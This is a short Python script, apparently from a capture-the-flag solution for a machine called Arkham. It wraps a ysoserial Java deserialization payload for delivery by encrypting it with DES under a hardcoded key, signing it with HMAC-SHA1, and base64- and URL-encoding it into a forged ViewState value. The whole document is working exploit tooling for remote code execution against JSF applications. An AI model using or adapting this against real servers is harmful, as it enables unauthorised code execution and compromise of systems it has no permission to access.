Arkham - prepare deserialization payload: des encrypt, hmac sha1, base64, url encode

arkham.py

import hashlib
import hmac
import base64
import sys
import urllib.parse
from pyDes import *

key = bytes("JsF9876-",'utf-8')

def encrypt(data, key):
    cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
    enc = cipher.encrypt(data)
    sig = hmac.new(key, enc, hashlib.sha1).digest()
    return enc+sig

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 arkham.py <ysoerial_payload>")
    filename = sys.argv[1]
    with open(filename, "rb") as f:
        data = f.read()
        payload = encrypt(data, key)
        payload = base64.b64encode(payload)
        payload = payload.decode('utf-8')
        payload = urllib.parse.quote_plus(payload)
        print(payload)